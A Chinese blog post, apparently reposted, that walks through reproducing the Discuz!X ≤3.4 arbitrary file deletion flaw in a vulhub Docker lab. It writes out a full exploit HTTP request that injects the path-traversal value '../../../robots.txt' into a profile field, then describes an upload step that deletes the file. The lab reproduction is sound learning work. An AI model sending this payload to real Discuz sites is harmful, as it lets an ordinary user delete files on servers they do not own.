本文共 2526 字,大约阅读时间需要 8 分钟。
声明
好好学习,天天向上
漏洞描述
Discuz!X社区软件是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。
2017年9月29日,Discuz!修复了一个安全问题用于加强安全性,这个漏洞会导致前台用户可以导致任意删除文件漏洞。
2017年9月29日,知道创宇404 实验室开始应急,经过知道创宇404实验室分析确认,该漏洞于2014年6月被提交到Wooyun漏洞平台,Seebug漏洞平台收录了该漏洞,漏洞编号ssvid-93588。该漏洞通过配置属性值,导致任意文件删除。
经过分析确认,原有的利用方式已经被修复,添加了对属性的formtype判断,但修复方式不完全导致可以绕过,通过模拟文件上传可以进入其他unlink条件,实现任意文件删除漏洞。
影响范围
- Discuz!X ≤3.4
复现过程
使用vulhub
这里使用x3.4版本
cd /app/vulhub-master/discuz/x3.4-arbitrary-file-deletion
启动
docker-compose up -d
直接访问IP就行
http://192.168.239.129/
访问后,提示你进行安装
安装时,只用修改数据库地址为db
,其他保持默认即可:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ses6EjA0-1607170185132)(https://vulhub.org/vulhub/discuz/x3.4-arbitrary-file-deletion/1.png)]
访问http://your-ip/robots.txt
可见robots.txt是存在的:
192.168.239.129/robots.txt
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SAZ9xVmK-1607170185134)(C:\Users\86156\AppData\Roaming\Typora\typora-user-images\image-20201202163813540.png)]
注册一个一般的用户
http://your-ip/member.php?mod=register
访问
http://192.168.239.129/home.php?mod=spacecp&ac=profile&op=base
按F12,ctrf+F查找关键字formhash,查看到值
抓包,发送请求(自行修改Host、Cookie和your formhash)
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1Host: localhostContent-Length: 367Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: [your cookie]Connection: close------WebKitFormBoundaryPFvXyxL45f34L12sContent-Disposition: form-data; name="formhash"your formhash------WebKitFormBoundaryPFvXyxL45f34L12sContent-Disposition: form-data; name="birthprovince"../../../robots.txt------WebKitFormBoundaryPFvXyxL45f34L12sContent-Disposition: form-data; name="profilesubmit"1------WebKitFormBoundaryPFvXyxL45f34L12s--
提交成功后,可查看个人资料,生日字段已经被注入脏数据
然后,新建一个upload.html
,代码如下,将其中的[your-ip]
改成discuz的域名,[form-hash]
改成你的formhash:
保存这个html后,用浏览器打开,让上传一张正常的图片,可是我在我的电脑里面找了好久,都没找到一张正常的图片,无奈自己画了一张,这里有个坑,就是下图
这个原因要么就是你用另外一个浏览器打开了,要么就是你formhash填错了,因为那个xss_check函数就是专门检测formhash的
最后我都用火狐,成功删除robots.txt
使用完关闭镜像(每次用完后关闭)
docker-compose down
docker-compose常用命令
拉镜像(进入到vulhub某个具体目录后)
docker-compose builddocker-compose up -d
镜像查询(查到的第一列就是ID值)
docker ps -a
进入指定镜像里面(根据上一条查出的ID进入)
docker exec -it ID /bin/bash
关闭镜像(每次用完后关闭)
docker-compose down
转载地址:https://blog.csdn.net/zy15667076526/article/details/110719603 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!